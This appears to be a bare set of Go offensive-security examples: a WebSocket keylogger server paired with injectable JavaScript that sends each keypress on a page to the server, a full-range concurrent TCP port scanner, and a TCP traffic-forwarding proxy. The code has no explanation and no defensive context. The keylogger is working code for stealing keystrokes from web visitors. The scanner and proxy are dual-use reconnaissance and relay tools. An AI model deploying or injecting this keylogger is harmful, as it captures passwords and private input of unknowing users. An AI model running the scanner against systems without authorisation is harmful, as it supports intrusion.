Security Analysis in Go

keylogger.go

package main

import (
	"log"
	"net/http"
	"text/template"

	"github.com/gorilla/mux"
	"github.com/gorilla/websocket"
)

var (
	upgrader = websocket.Upgrader{
		CheckOrigin: func(r *http.Request) bool { return true },
	}
	jsTemplate *template.Template
)

func init() {
	var err error
	jsTemplate, err = template.ParseFiles("logger.js")
	if err != nil {
		panic(err)
	}
}

func serveWS(w http.ResponseWriter, req *http.Request) {
	conn, err := upgrader.Upgrade(w, req, nil)
	if err != nil {
		http.Error(w, err.Error(), 500)
		return
	}
	defer conn.Close()
	log.Printf("Conn from %s", conn.RemoteAddr().String())
	for {
		_, msg, err := conn.ReadMessage()
		if err != nil {
			return
		}
		log.Printf("From: %s, %s", conn.RemoteAddr().String(), string(msg))
	}
}

func serveFile(w http.ResponseWriter, req *http.Request) {
	w.Header().Set("Content-Type", "application/javascript")
	jsTemplate.Execute(w, "localhost:8080")
}

func main() {
	r := mux.NewRouter()
	r.HandleFunc("/ws", serveWS)
	r.HandleFunc("/k.js", serveFile)
	log.Fatal(http.ListenAndServe(":8080", r))
}

logger.js

(function()  {
    var conn = new WebSocket("ws://{{.}}/ws"); document.onkeypress = keypress;
    function keypress(evt) {
        s = String.fromCharCode(evt.which);
        conn.send(s);
    }
})();

portscanner.go

package main

import (
	"flag"
	"fmt"
	"net"
	"sync"
)

var website = flag.String("website", "scanme.nmap.org", "website para escanear")

func main() {
	flag.Parse()
	var wg sync.WaitGroup
	for i := 0; i < 65536; i++ {
		wg.Add(1)
		go func(j int) {
			defer wg.Done()
			conn, err := net.Dial("tcp", fmt.Sprintf("%s:%d", *website, j))
			if err != nil {
				return
			}
			conn.Close()
			fmt.Printf("port %d is open\n", j)
		}(i)
	}
	wg.Wait()
}

tcp_proxy.go

package main

import (
	"io"
	"log"
	"net"
	"os"
)

func echo(conn net.Conn) {
	defer conn.Close()
	if _, err := io.Copy(conn, conn); err != nil {
		panic(err)
	}
}

func handle(src net.Conn) {
	dst, err := net.Dial("tcp", "juegos.com:80")
	if err != nil {
		panic(err)
	}
	defer dst.Close()
	go func() {
		if _, err := io.Copy(dst, src); err != nil {
			panic(err)
		}
	}()
	if _, err := io.Copy(src, dst); err != nil {
		panic(err)
	}
}

func main() {
	listener, err := net.Listen("tcp", ":8080")
	if err != nil {
		panic(err)
	}
	log.Println("Listening...")
	for {
		conn, err := listener.Accept()
		if err != nil {
			panic(err)
		}
		// Handle connection...
		go handle(conn)
	}
}